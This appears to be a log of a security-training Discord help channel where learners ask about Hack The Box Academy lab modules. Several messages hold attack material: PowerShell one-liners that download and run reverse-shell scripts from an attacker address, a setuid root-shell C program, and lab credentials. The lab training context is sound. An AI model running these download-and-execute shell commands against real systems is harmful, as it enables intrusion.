if the file is empty then it's probably elsewhere

errant elbow
#

Module: AD enumeration & attacks, Section: Skills Assessment Part 2

I got a revshell on SQL01 as nt service\mssql$sqlexpress, but I don't know where to look for PE to the Administrator account.

Is anyone able to please give me some guidance on how to proceed ?

chilly cosmos
#

@next bronze Ok

chilly cosmos
#

@sharp nexus 'cat' is not recognized as an internal or external command,
operable program or batch file.

sharp nexus
#

rip

next bronze
hallow kiln
#

of course, that's the command prompt, not powershell, cat and ls don't work there

sharp nexus
#

you right you right

chilly cosmos
#

Exact

sharp nexus
#

forgor

hallow kiln
#

you probably have to search for the flag in some way

errant elbow
next bronze
#

did you try whoami /priv? it's a service account

subtle mauve
#

for Broken Authentication "Using rockyou-50.txt as password wordlist and htbuser as the username, find the policy and filter out strings that don't respect it. What is the valid password for the htbuser account?" can someone DM me and give some sort of hint? Ive have been going back and forth with the policy and character classes for about 2 days now and nothing is hitting.

bright quiver
#

So i am trying to still figure out how to get rubeus to run if it gets upload to this spot...trying to get Q3 for the skills assessment of ad enumeration

next bronze
#

you can find where it's uploaded then use absolute path, but I advice to upgrade to a better shell to make your life easier, webshells suck

bright quiver
#

so like nc or something right

#

i'll try that

compact jacinth
#

Hi im on the module linux privalge escaluation and i am on Miscellaneous Techniques. I succeed with transfering it and giving the shell.c the right uid but when i exacute it i dont become root. i wrote this in the shell.c "#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}"
[3:47 PM]
it also says "-rwsr-xr-x 1 backupsvc logger 20184 Dec 21 15:41 shell"

old atlas
#

Hey man, could you give us a hint! @supple gorge

supple gorge
#

@old atlas are you asking how to transfer files?

Use SCP... It explains in the following sections

#

Http-uri is close to the answer. Search up http keywords you can use

errant elbow
tawdry vapor
#

anyone can help me with Web Attacks - Skills Assessment?

tawdry vapor
#

i can't execute xxe

bright quiver
#

Can someone give me a hand with getting a better webshell or executing an exe after uploading for the skill assessment 1 under ad enumeration?

rough flame
#

CPTS path reporting template contains appendix "Exploited Hosts". Should it only include initial access? Or privilege escalation too? For example, draft example specifies MS01 2 times

fathom pendant
#

"Alternate domain foothold"

#

Which indicates multiple levels of compromise not just the way initially accessed by the tester

#

This is also better to ask over in #cpts

tight mesa
#

hello y'all, anyone who can lemme know what can be wrong in this vHost fuzzing command : ffuf -t 250 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://gitlab.inlanefreight.local:Port/ -H 'Host: FUZZ.gitlab.inlanefreight.local'..?

rough flame
fathom pendant
#

Your question was more general towards the exam

#

It didn't sound like it was from a module

tight mesa
#

I'm asking cuz I'm stuck trying to fuzzing/enumerating the vHost in the skill assessment II from attack common app

rough flame
bright quiver
#

I am running this command ||powershell.exe -nop -ep bypass -c "iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.212:4444/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.212 -Port 4444"|| and also this one ||powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.212:4444/powercat.ps1');powercat -c 10.10.14.212 -p 4444 -e cmd" with nc - nvlp 4444 on my attacking machine. I get a connection and it says the following:||

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.202.242.
Ncat: Connection from 10.129.202.242:61815.
GET /Invoke-PowerShellTcp.ps1 HTTP/1.1
Host: 10.10.14.212:4444
Connection: Keep-Alive

But as soon as I type something - it ends it - anyone have any advice how i can keep it in order to get a better shell for ad enumeration skill assessment 1?

next bronze
fathom pendant
tight mesa
next bronze
bright quiver
#

@next bronze - totally forgot that tbh

#

been bouncing between a few things and should've thought of that...thank you - totally appreciate it

sharp nexus
#

I think I'm a little paranoid. I've been told many times that if I just use a vpn, avoid talking about personal details, and then use tor primarily, that my opsec is really secure, but I've always felt that even vpns are hackable because I grew up in the mindset that if it's connected to the internet it's hackable.

fathom pendant
#

Vpns only mask traffic

zealous oyster
#

Module: Password Attacks Section: Password Mutations

I have been trying the bruteforce task for the sam users password. I've followed the instructions using the password.list file and the custom.rule included and the best64.rule which is part of hashcat. I have cut the password files down to 1k each and modified them so they only contain passwords 8-10 characters long but nothing seems to work.

It was also suggested to use ftp as its quicker than ssh for the bf but that has not returned any positive result either.

Is anyone able to please give me a nudge on how to solve this?

sharp nexus
#

Like say I was doing nation sate acting for instance, I feel like it'd be much harder than just that to prevent a government or even a bad actor from hacking ya

fathom pendant
#

Also just use the full list

#

The list you should end up with on total is 94k characters. Splitting it only adds unnecessary time

brisk valley
#

hey am new here and i need some help

#

i wanna go to modules to start a new one but i cant. i need to type the modules on the link (https://academy.hackthebox.com/modules) and when i go there i cant unlock any new modules and i have cubes

fathom pendant
#

Otherwise contact support

compact patrolBOT
brisk valley
fathom pendant
#

That really doesn't mean much

brisk valley
#

yea but when i press it it does nothing

#

it doesnt even load

fathom pendant
#

Try in a different browser

#

Or contact support

#

Or both

next bronze
fathom pendant
#

If you're using brave browser, for instance, it has built-in tools like that

brisk valley
brisk valley
next bronze
#

yes are you trying to open the link in a new tab?

brisk valley
#

no

#

i just press modules

fathom pendant
#

Do you see a green bubble in the bottom right?

fathom pendant
#

Then there's some form of ad block running

brisk valley
#

i will search and inform you. thanks for everything

fathom pendant
#

Open in incognito mode and see if it's there

brisk valley
#

FINALLY ITS WORKING

next bronze
brisk valley
#

there was and ad blocker that i disabled but i needed to remove the extension

#

thanks for everything everyone that responded me

split ruin
#

Has anyone online/available completed the ADCS module by chance? May I DM? Stuck on ESC11

next bronze
#

I have done that part, dm

split ruin
#

@next bronze thanks

hollow dagger
#

Can anyone teach me how to hack

#

Pls

floral gate
#

You know what , i have a question where can i start learning ?

hollow dagger
#

Im not sure i joined this to learn how to hack

compact patrolBOT
fathom pendant
#

No one is really gonna sit down with you and teach you one-on-one

#

At least not for free

#

Tryhackme is another decent beginner resource for learning, way more hand-holding

covert swift
#

Hi, im stuck on the file transfer module, linux interactive question:" Upload the attached file named upload_nix.zip to the target using the method of your choice. Once uploaded, SSH to the box, extract the file, and run "hasher <extracted file>" from the command line. Submit the generated hash as your answer." The problem it is that i cant extract the file because i cant use unzip on the ssh session. Any sugestions?

fathom pendant
#

You should be able to just do the command unzip

#

ยฏ_(ใƒ„)_/ยฏ

zealous oyster
rare swan
#

@covert swift As far as i know i also couldnt use unzip, dit it with pyhton

scarlet cairn
#

Hi Team,

Need some help regarding learning Redhat Linux guide for completing my modules.

fathom pendant
echo roost
fathom pendant
zealous oyster
fathom pendant
#

You can increase threads with hydra

#

48 seems to be the sweet spot, no dropped requests leading to confusion

zealous oyster
fathom pendant
#

Make sure lowercase sam

#

And are you attacking ftp?

#

You should not be attacking ssh

zealous oyster
scarlet cairn
elder jackal
#

I got stuck at Broken Authentication Assessment, I found the admin/support users with the country code and found that the cookie is made of the username formatted to md5 and base64 but canโ€™t put those together. Keep getting user admin.us canโ€™t have requested role (or something)
Any help would be much appreciated

heavy marsh
#

I'm doing the Dynamic Port Forwarding with SSH and SOCKS module. My /etc/proxychains.conf is blank.

I am using kali linux on a vm. Should this have a default config already setup?

Just seems strange that it's blank.

fathom pendant
#

I think on kali it's like proxychains4 or something like that

#

Let tab autocomplete help you there

heavy marsh
dire abyss
#

alright so im back at this trying to upload a zip file to a windows server

heavy marsh
#

Yeah, there is a proxychains4!

dire abyss
#

i think im close

#

Invoke-WebRequest -Uri https://10.129.201.55:443/ -Method POST -Body $Encoded
Invoke-WebRequest: The remote certificate is invalid according to the validation procedure: RemoteCertificateNameMismatch, RemoteCertificateChainErrors

this is what i ran

dire abyss
#

should i specify a port?

fathom pendant
#

If it's running on default 80, no

dire abyss
#

access forbidden

fathom pendant
#

You only need to specify port for non-standard port, 80=http,443=https

dire abyss
#

my nmap scan shows 80 and 443 are forbidden

fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

What module is this?

dire abyss
#

windows file transfer methods

#

ive tried every method now

#

listed and none work

fathom pendant
#

File transfer module and windows file transfer yeah?

#

Wait

dire abyss
#

for me its called windows file transfer methods

#

following the CPTS path

fathom pendant
#

Windows file transfer methods is the section name

#

File Transfers is the module name

#

Where are you grabbing the zip from

dire abyss
#

its in the questions section

fathom pendant
#

Is it from your machine, or the target

dire abyss
#

question #2

fathom pendant
elder jackal
#

Hi MacieLee can I dm u?

fathom pendant
#

That's not what I'm getting at

dire abyss
#

the download is in the questions lol

fathom pendant
fathom pendant
#

So you downloaded the zip to YOUR machine yes?

dire abyss
#

yes

fathom pendant
#

So why are you doing an invoke request to the target? From the target?

#

Should be a get request from an http server running on your system

dire abyss
#

PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.

fathom pendant
dire abyss
#

thats straight from the module

fathom pendant
#

You're missing the point

#

The target file is on yourmachine

dire abyss
#

yes i get that

fathom pendant
#

So why in your command are you calling it from the windows machine to the windows machine to pull?

dire abyss
#

i see what your getting at

fathom pendant
#

So you see where you're going wrong?

dire abyss
#

yeah i do

fathom pendant
#

๐Ÿ‘

dire abyss
#

i guess my understanding prior would be to get into server or upload something to a server i didnt have access too

#

but i guess this isnt that

fathom pendant
#

@elder jackal @zealous oyster I didn't give permission to dm

fathom pendant
#

And to pull the file from your system it needs your tun0 ip

heavy marsh
#

On the last part of the SSH and SOCKS tunneling module I'm getting an error when trying to RDP

thorn urchin
#

well it says there your proxy is timing out

#

so you didnt set it up right

heavy marsh
#

Am I supposed to keep every SSH session open in this module, or just the latest one I'm working on?

heavy marsh
#

There are only three, so I guess it doesn't matter.

fathom pendant
#

the ssh connection is what your proxychains is going on

fathom pendant
#

-D 9050 tells the ssh connection to treat your connection as a dynamic port forward

heavy marsh
thorn urchin
#

theres a cmd flag to not start an interactive session

#

I like that so I dont forget that instance is my tunnel

supple sparrow
#

is there anything I can do with captured netNTLMv2 hashes that can't be cracked

silver orchid
#

hi

dire abyss
#

@fathom pendant thank you so much for your help earlier, i was able to upload!

sly kelp
fathom pendant
#

how it gums to 5 chew feel

grizzled schooner
#

What I hope is a quick question regarding academy modules in general... I'm currently in the Info Gathering - Web Edition and when looking at the cheat sheet is seems like overload when looking at it, is there a certain way to grasp the information without writing the cheat sheet down for a reference to look at ?

dire abyss
#

i found a new problem with file transfers module but i believe its actual content issue. i was able to upload the "upload_win.zip" to the windows server. the next step is to extract it and then run hasher upload_win.txt however the result i get and plug into the HTB answer field says its wrong

#

strange, also there was already a file called upload_win.txt on the desktop and i ran hasher on that.. that result is also wrong

#

i wonder if they knew this was an issue and tried to correct it that way

sly kelp
#

after few labs your brain will know what to do

fathom pendant
#

usually you're introduced to the command with context of what they do

grizzled schooner
#

yeah for sure, I'm just trying to look for a way, to understand the tools mentioned and "basic syntax" if you could call it that without writing 10 pages of commands etc

fathom pendant
#

man <command> and look for the flags that the cheatsheet is using with the command

#

that way you can summarize what it does

buoyant escarp
#

any module out there that contains Metasploit topics?
cant see that any dedicated module to this topic exist out there

fathom pendant
rustic sage
#

guys

#

my vm is spamming the sound i get when i hit backspace on an empty terminal

#

and i cant click or anything

fathom pendant
#

iirc it's a setting you can turn off

buoyant escarp
fathom pendant
#

i don't think there's really any advanced ones

#

i know the pivoting and portfwarding module touches on using msfvenom and metasploit as a pivot/proxy

buoyant escarp
#

want one with setting a persistent shell and migrating into processes

fathom pendant
#

if this is for a machine like on the main platform then yes; wrong place

#

if it's related to an academy module then more context is needed

#

#boxes is for the main platform boxes and you can ask for a nudge there

gray lodge
#

Anyone having network connection issues? Trying to connect to the box in the AD Enumeration & Attacks module (Skills Assessment II), and can seem to even ssh. Ping show packet loss...

gray lodge
misty current
gray lodge
misty current
#

Hmm, maybe try regenerating your VPN, use TCP if you already haven't been using that.

gray lodge
#

I was doing this from the HTB pwnbox.

gray lodge
misty current
#

You're not having both running at the same time right?

fathom pendant
#

make sure you aren't accidentally running both at the same time

gray lodge
#

Ohhh I had my vpn still on in my VM. Just turned it off. Let me try on the HTB box again.

misty current
#

Make sure you're connecting to one VPN connection, Academy VPN doesn't handle switching between pwnBox VPN and normal VPN that well.

fathom pendant
#

(at all)

#

it's a network collision issue

gray lodge
#

Well, same issue. No connection to the target box. If i am using the HTB academy pwnbox, I don't activate a vpn connection. I just boot up the vm in my browser and start working there.

#

Let me try the TCP vpn file

#

Using TCP vpn, restarted my personal VM. Things are working, somewhat laggy though.

heavy marsh
#

Why am I getting this error?

#

I'm doing the "Configuring MSF's SOCKS Proxy" section in the "Meterpreter Tunneling and Port Forwarding" module

next bronze
swift forge
#

Anyone familiar with Oracle TNS enumeration page of the Footprinting module? I'm trying to do the tools setup so that I can run sqlplus, but when I run the command to install it I'm getting an error that is saying it is not found

quasi wave
#

I'm having trouble with footprinting module as well. I need a hint to find full system path of the specific sambashare. Last question of SMB section.

dire abyss
#

on the file transfer module.. windows file transfer methods, i was able to upload the zip to the windows machine. and when i use hasher against it, what it gives me back, the answer is wrong (question 2)

fathom pendant
#

Note: if you did find the path, it looks odd doesn't it?

fathom pendant
#

Make sure no weird extra spaces or characters

buoyant escarp
#

Module "Pivoting, Tunneling and Port Forwarding"
Section "Dynamic Port Forwarding with SSH and SOCKS Tunneling"

my proxychains is set up to use socks4 on localhost and port 9050

i connect to the victim with the provided credentials and using dynamic port 9050

now everything i try the victim refuses everything i do, what may be the cause?

fathom pendant
#

Once you set up the initial proxy you go to the second host. You don't need proxy chains for the 10.129 host, as you've always been able to access it

heavy marsh
fathom pendant
#

It tells you to background it tbf

buoyant escarp
#

yeah makes sense

fathom pendant
#

Iirc this one might be a 3 step process

#

But I could be wrong

#

A -> B -> C

#

The pivot module is very much a follow along

buoyant escarp
#

yeah a-b-c seems right

fathom pendant
#

As in there's a user/system between the initial foothold and final target

#

My eyes mostly glazed over it

swift forge
#

Does anyone know an additional fix for the sqlplus error besides the one mentioned in the Oracle TNS lab?

#

Neither the original set up code or the fix works to download the command works

fathom pendant
#

Not that I know of

#

Sqlplus is a pita

buoyant escarp
swift forge
#

@fathom pendant any thoughts on how I can get into SQL server without it? After trying the fix command I still get the "command not found" error when typing in the command

dire abyss
steady schooner
#

C:

fathom pendant
#

<@&861185840277487616>

fathom pendant
buoyant escarp
fathom pendant
#

While there's mostly good people out there - there's always the one asshole who will ddos

#

That's also assuming you're not just a fed bait

swift forge
#

@fathom pendant will reach out to support, was able to get that MSSQL issue figured out unintentionally with their help

steady schooner
#

not spanish

#

not inglish

#

no leer reglas

#

por no entender

fathom pendant
steady schooner
#

pero no se ingles

fathom pendant
#

English only in the server

#

No es mi problema, solo Ingles Aqui.

spiral jay
#

@weak kindle Ive been stuck on question #3 all day. I know it's something stupid and simple I'm missing, can you help guide me or point me in the right direction?

cedar bear
#

hello there
i'm stuck on the last section of SQLi fundamentals: skills assessment
i've tried all i know against the login form, found another page that's redirecting me with 302 code but no hint about any SQLi
i even ran SQLmap which tells me that none of the fields are injectable...
Any ideas ?

fathom pendant
#

302 = redirect where is it sending you

prisma spruce
cedar bear
#

no content

fathom pendant
#

ah

faint rampart
cedar bear
#

not inventing it xD

storm hull
#

I'm not actually a hacker, I just come here to feel cool

faint rampart
cedar bear
#

thank you

fathom pendant
#

<@&861185840277487616>

#

there's still their initial message lmao <@&861185840277487616> whoever the mysterious angel is

#

This is a scam btw do not click this

cedar bear
#

wtf xD

fathom pendant
#

@urban sage wake uuuuuup

cedar bear
#

ban

fathom pendant
#

name Announcments: brand new account - not labeled as a bot - and not normally how HTB would do a giveaway

faint rampart
fathom pendant
#

mods really do be eepin today

faint rampart
#

<@&861185840277487616>

#

sheesh
Its like they come alive around this time ๐Ÿ’€

jolly cradle
#

banned

fathom pendant
#

oh hi falcon

#

here to save the day

#

:D

#

can you also ban @steady agate

#

๐Ÿ˜‰

jolly cradle
#

already done

analog dock
fathom pendant
#

discord takes a sec to remove messages

#

it's a slow and dumb process

jolly cradle
#

Eh the bot doesnt remove the messages....requires manual

fathom pendant
#

hackster bot yeah? (because you need to control the ban time)

#

the regular ban command allows you to purge messages for x amount of time

thorn urchin
#

also what did this rami3l guy do to piss off the nazi lmao

fathom pendant
#

oh boy it's the holidays, time to be racist and a scammer

faint rampart
fathom pendant
#

he just existed

thorn urchin
#

I just saw the tag in the erratum copy pasta too

#

so it seemed extra random to me

fathom pendant
#

i guess he was the random fucker that got to be tagged

#

o7

thorn urchin
#

I guess

thorn urchin
#

Existence pissing off nazis is a goal

fathom pendant
#

it's always a good day to punch a Nazi

storm hull
fathom pendant
#

well this isn't a gen chat

#

and if you're having trouble linking message a mod or admin

#

:^)

hazy grotto
#

I just installed a version of linux that displays cpu usage and i noticed that when i'm using firefox, either to use youtube or even run pwnbox in desperate times. The cpu usage is redlining. Is this normal? I'm using 3 cpus for the processors setting.

supple gorge
hazy grotto
#

I'm pretty much dogshit with linux. I'm still a beginner.

supple gorge
# hazy grotto

well, it's normal for CPU to reach high usage every once in a while, especially when a process is being loaded, when it boots up and stuff.

It could be that the frequency is low enough that it uses 100% to do x task (as far as I know nowadays processors lower frequency to save on energy).

Glad to hear other people's thoughts

faint rampart
faint rampart
hazy grotto
#

Thank you

supple gorge
# hazy grotto

it'd be concerning if this was temperatures and red meant past temperature limitm usually 100 degrees celsius I think

#

otherwise you're fine

faint rampart
#

You need to find a way to ensure your payload output is visible and is not interferred with by other contents if that makes any sense. Btw this contains spoilers.

fathom pendant
supple gorge
fathom pendant
#

yeah

ruby ginkgo
#

I'm working on Password Attacks Lab Hard. So far, I have cracked johanna's password and used that to retrieve an encrypted file from the target. I transferred that file back to my attack machine and used keepass2john to crack it. I get a password for (I think) the user David. Now I'm trying to enumerate SMB shares using crackmapexec using David's credentials, but I get an authentication failure.

fathom pendant
#

unless you mean you got the keepass password and unlocked that file

iron tartan
fathom pendant
#

which allowed you to find his password

#

:)

supple gorge
fathom pendant
supple gorge
ruby ginkgo
fathom pendant
#

you retrieve a file to crack; then you bounce back to use the cracked info

faint rampart
fathom pendant
iron tartan
ruby ginkgo
fathom pendant
ruby ginkgo
#

wait a sec i havent ill do it

fathom pendant
#

there you go

#

that'll unwravel it further for you

#

like i said you completely looked over the reason you pulled the file in the first place

ruby ginkgo
#

oh man

#

yeah

supple gorge
#

didn't expect that lol

ruby ginkgo
#

its really confusing

fathom pendant
iron tartan
#

The story of my life when hacking

fathom pendant
#

if you feel like what you're doing isn't working: take a step back and analyze the steps so far

#

i.e. you pulled the file, converted and cracked it (note you used a specific 2john script)

fathom pendant
#

you skipped over using the password on the thing that would need it

fathom pendant
#

also you want to be 99% certain; not 60-70% certain that what you're doing is right

#

which - by asking here, you weren't certain you were on the right track

ruby ginkgo
fathom pendant
#

you're fine

#

i'm just giving you a helpful tip to make you think "Am i going in the right direction"

#

if you have doubts - it's fine to reach out

ruby ginkgo
#

yeahh sure

bright quiver
#

can i use xfreerdp on windows and if so which file can i use from the git in order to put it on the windows host to do so?

fathom pendant
#

that's built in

#

generally it's called mstsc.exe

#

or Remote Desktop Connection in the windows search

bright quiver
#

@fathom pendant ||Start-Process -FilePath "mstsc.exe" -ArgumentList "/v:172.16.6.50:1515", "/u:svc_sql", "/p:lucky7"|| so i tried this but it isn't working. Trying to use this in order to remote into ms01 for the skill assessment 1 for ad enumeration - that's why i asked, but the xfreerdp isn't on the web-win01 server so that is why i asked